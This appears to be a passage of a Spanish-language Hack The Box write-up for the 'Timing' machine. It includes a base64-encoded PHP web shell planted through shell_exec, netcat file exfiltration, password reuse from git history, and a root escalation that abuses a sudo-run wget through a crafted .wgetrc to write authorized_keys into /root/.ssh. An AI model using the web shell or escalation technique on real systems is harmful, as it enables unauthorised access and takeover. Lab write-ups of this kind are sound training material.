shell_exec('echo PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8Ym9keT4KCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+Ij4KICBOYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZm5hbWUiPgogIDxpbnB1dCB0eXBlPSJzdWJtaXQiPgo8L2Zvcm0+Cgo8P3BocAppZiAoJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0gPT0gIlBPU1QiKSB7ICAgIAogICAgJG5hbWUgPSBodG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsnZm5hbWUnXSk7CiAgICBpZiAoZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgZWNobyAiU2VuZCBhIGNvbW1hbmQiOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvKHN5c3RlbSgkbmFtZSkpOwogICAgfQp9Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K|base64 -d > images/uploads/shell01.php');

image

Backup

Explorando las carpetas de la maquina encontramos un backup en /opt/source-files-backup.zip. Utilizamos netcat para enviar el archivo a nuestra maquina. Vemos que es un ‘backup’ del repositorio del sitio web, al listar el log vemos dos únicos commits, el último describe una actualización en el archivo db_conn (credenciales y configuración a la base de datos).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:34:13 2021 +0000

    db_conn updated

commit e4e214696159a25c69812571c8214d2bf8736a3f
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:33:54 2021 +0000

    init

Al mostrar los cambios vemos que la contraseña fue modificada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:34:13 2021 +0000

    db_conn updated

diff --git a/db_conn.php b/db_conn.php
index f1c9217..5397ffa 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
 <?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

User - Aaron

Utilizamos esta contraseña en el servicio SSH con el usuario Aaron, logrando acceder a la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 π backup master ❯ ssh aaron@10.10.11.135 # S3cr3t_unGu3ss4bl3_p422w0Rd
aaron@10.10.11.135's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jan 27 01:13:50 UTC 2022

  System load:  0.08              Processes:           172
  Usage of /:   48.9% of 4.85GB   Users logged in:     0
  Memory usage: 10%               IP address for eth0: 10.10.11.135
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

 
aaron@timing:~$ ls
user.txt
aaron@timing:~$ cat user.txt
69635af663ada0f8661f8e88c55f3e9d
aaron@timing:~$

Privesc

Vemos que el usuario puede ejecutar como root el archivo netutils, este último ejecuta un .jar al cual no tenemos acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
aaron@timing:~$ sudo -l -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
    /usr/bin/netutils
aaron@timing:~$ ls -lah /usr/bin/netutils
-rwxr-xr-x 1 root root 42 Oct  5 15:03 /usr/bin/netutils
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
aaron@timing:~$

Al ejecutar el comando vemos que realiza algun tipo de descarga utilizando los protocolos FTP y HTTP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 0
Enter Url+File: localhost

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: localhost
Initializing download: http://localhost
File size: 5609 bytes
Opening output file default
Starting download

[  0%]  .....
Connection 0 finished

Downloaded 5.5 Kilobyte in 0 seconds. (54.53 KB/s)

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 2
aaron@timing:~$

Colocamos a la escucha el puerto 21, vemos que realiza la conexión a nuestra máquina.

1
2
3
 π ~/htb/timing ❯ nc -lvvvp 21
listening on [any] 21 ...
connect to [10.10.14.160] from 10.10.11.135 [10.10.11.135] 53220

Por otro lado el puerto 80 muestra el User-Agent : Axel/2.16.1.

1
2
3
4
5
6
7
8
 π ~/htb/timing ❯ nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.160] from 10.10.11.135 [10.10.11.135] 37090
GET / HTTP/1.0
Host: 10.10.14.160
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)

Axel es un acelerador de descargas por medio de la terminal, no se muestra algun tipo de vulnerabilidad o bug que pueda ayudar a escalar privilegios.

.wgetrc

Utilizando pspy logramos ver los comandos que son ejecutados por netutils, vemos a wget con descarga recursiva (-r) por el protocolo FTP y axel por HTTP.

1
2
3
2022/01/27 01:51:12 CMD: UID=0    PID=11554  | java -jar /root/netutils.jar
2022/01/27 01:51:15 CMD: UID=0    PID=11556  | wget -r ftp://10.10.14.160
2022/01/27 01:51:19 CMD: UID=0    PID=11574  | /root/axel http://10.10.14.160

Creamos un pequeño servidor FTP utilizando pyftpdlib, creamos un archivo dentro de la carpeta temp/.

1
python3 -m pyftpdlib --directory=temp/ --port=21 --write

Tras ejecutar algun comando vemos que se crea una carpeta nueva con todos los archivos que esten dentro del servidor FTP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
[.. snip ..]
Input >> 0
Enter Url+File: 10.10.14.160

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 2
aaron@timing:~$ ls
10.10.14.160   ps   user.txt
aaron@timing:~$ ls -l 10.10.14.160
total 0
-rw-r--r-- 1 root root 0 Jan 27 01:55 file
aaron@timing:~$

Intentando pasar alguna flag a las opciones no permite realizar algun cambio en la salida de los archivos.

1
2
3
4
5
6
aaron@timing:~$ ls
'10.10.14.160 -o abc.txt'   ps   user.txt
aaron@timing:~$ ls -l '10.10.14.160 -o abc.txt'/
total 0
-rw-r--r-- 1 root root 0 Jan 27 01:55 file
aaron@timing:~$

Investigando acerca de wget encontramos el archivo de configuración .wgetrc. En dicho archivo se encunetran distintos comandos, restricciones y valores que wget utiliza. Utilizamos este archivo para escribir en la carpeta /root/.ssh/ donde vamos a agregar el archivo authorized_keys con la clave publica del usuario aaron, desactivamos backup_converted, tambien, para verificar los cambios y creacion agregamos la opcion logfile.

1
2
3
4
5
touch ~/.wgetrc
echo -n "add_hostdir = off
backup_converted = off
dir_prefix = /root/.ssh/
logfile = file" > ~/.wgetrc

Creamos la clave publica de aaron y la colocamos en el servidor FTP dentro del archivo authorized_keys.

1
2
3
aaron@timing:~$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm5KcCEy9qx441PIuJ2lqVQK1Gf9lwl9BDk1BF+6uV4zDufo5RoCZUzjgY75rKr7oF2+KMB253nYR0o2Mu99axxjQxSylw+V+beYX7hq/r5mG2KEFNj7VKHb4YRv3uf0awg+VNootnSQ4mOv3d6brQLzr/tYMwqcLirCyltW2o6WIAMu3O7CI23w3Ld0S9XxWSeZGl123fMsqUZfSFrF8qGs8ETlvV91WleXy4N1yjKBjsXf1xngwp0LmGjEwdncxDQwOJaiD4GJMG2z+UlEm07G6M5hvI5x6p+E+ImDN6iYzoZt1QabSNnTe/gLQRNTF/f1LKzz5trRKcMuRNUfDt aaron@timing
aaron@timing:~$

Ejecutamos netutils y confirmamos en el archivo file (logfile) que el archivo authorized_keys fue creado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
aaron@timing:~$ sudo /usr/bin/netutils
[.. snip .. ]
Enter Url+File: 10.10.14.160

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 2
aaron@timing:~$ ls
file   ps   user.txt
aaron@timing:~$ cat file
--2022-01-27 02:17:21--  ftp://10.10.14.160/
           => ‘/root/.ssh/.listing’
Connecting to 10.10.14.160:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.

     0K                                                        96.5K=0.001s

2022-01-27 02:17:22 (96.5 KB/s) - ‘/root/.ssh/.listing’ saved [72]

Removed ‘/root/.ssh/.listing’.
--2022-01-27 02:17:22--  ftp://10.10.14.160/authorized_keys
           => ‘/root/.ssh/authorized_keys’
==> CWD not required.
==> PASV ... done.    ==> RETR authorized_keys ... done.
Length: 394

     0K                                                       100% 90.0K=0.004s

2022-01-27 02:17:22 (90.0 KB/s) - ‘/root/.ssh/authorized_keys’ saved [394]

FINISHED --2022-01-27 02:17:22--
Total wall clock time: 0.9s
Downloaded: 1 files, 394 in 0.005s (76.9 KB/s)
aaron@timing:~$

Finalmente ingresamos como root por SSH en localhost, logrando obtener la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
aaron@timing:~$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:w5P4pFdNqpvCcxxisM5OCJz7a6chyDUrd1JQ14k5smY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jan 27 02:18:50 UTC 2022

  System load:  0.01              Processes:           182
  Usage of /:   49.1% of 4.85GB   Users logged in:     1
  Memory usage: 14%               IP address for eth0: 10.10.11.135
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Dec  7 12:08:29 2021
root@timing:~# whoami; pwd
root
/root
root@timing:~# ls
axel  netutils.jar  root.txt
root@timing:~# cat root.txt
ede898fd75c5b2607a180e51ba7e5458
root@timing:~#

Netutils.jar

Vemos el codigo fuente de netutils.jar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// Using JD jar in Main.class
import app.Main;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Scanner;

public class Main {
  private static final Scanner sc = new Scanner(System.in);
  
  public static void main(String[] args) {
    while (true) {
      System.out.println("netutils v0.1\nSelect one option:");
      System.out.println("[0] FTP");
      System.out.println("[1] HTTP");
      System.out.println("[2] Quit");
      System.out.print("Input >> ");
      String input = sc.nextLine();
      if (input.equals("0")) {
        System.out.print("Enter Url+File: ");
        String url = "ftp://" + sc.nextLine();
        System.out.println(run(new String[] { "wget", "-r", url }));
        continue;
      } 
      if (input.equals("1")) {
        System.out.print("Enter Url: ");
        String url = sc.nextLine();
        if (!url.matches("https?://.*"))
          url = "http://" + url; 
        System.out.println(run(new String[] { "/root/axel", url }));
        continue;
      } 
      if (input.equals("2"))
        System.exit(0); 
    } 
  }
  
  public static String run(String[] args) {
    try {
      Process process = Runtime.getRuntime().exec(args);
      InputStream is = process.getInputStream();
      BufferedReader reader = new BufferedReader(new InputStreamReader(is));
      StringBuilder sb = new StringBuilder();
      String line;
      while ((line = reader.readLine()) != null)
        sb.append(line).append("\n"); 
      return sb.toString();
    } catch (IOException e) {
      e.printStackTrace();
      return "";
    } 
  }
}
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe